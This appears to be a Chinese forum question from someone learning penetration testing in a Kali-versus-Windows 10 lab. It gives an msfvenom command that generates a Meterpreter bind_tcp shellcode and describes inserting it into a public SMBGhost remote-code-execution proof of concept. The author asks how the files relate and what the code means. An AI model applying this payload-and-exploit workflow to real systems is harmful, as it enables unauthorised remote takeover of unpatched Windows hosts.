实验为kali渗透win10，命令行：msfvenom -p windows/x64/meterpreter/bind_tcp lport=7890 -f py -o test.py
将生成的test.py文件内容buf替换为USER_PAYLOAD然后将其替换掉exploit.py文件里的buf衔接的python字符行。
这是生成的test.py文件内容，接下来就是把buf替换为USER_PAYLOAD然后整体替换到，exploit.py里。
替换完成后这个exploit.py文件就可以用于渗透攻击了，可以看到在它排列第二个大集合那，这里的代码部分是已经替换完成的。
我已经知buf是延缓攻击类似的意思（不确定对于否），
1，buf替换USER_PAYLOAD为何要进行替换？
2，test.py与exploit.py两个python文件的关联？
3，以test.py为例比如解释一行代码是什么意思？是不是python对二进制转换的表达？
4，大概解释一下exploit.py文件里代码内容。能让我明白它的运行即可。
具体exploit.py文件代码请见：https://github.com/chompie1337/SMBGhost_RCE_PoC
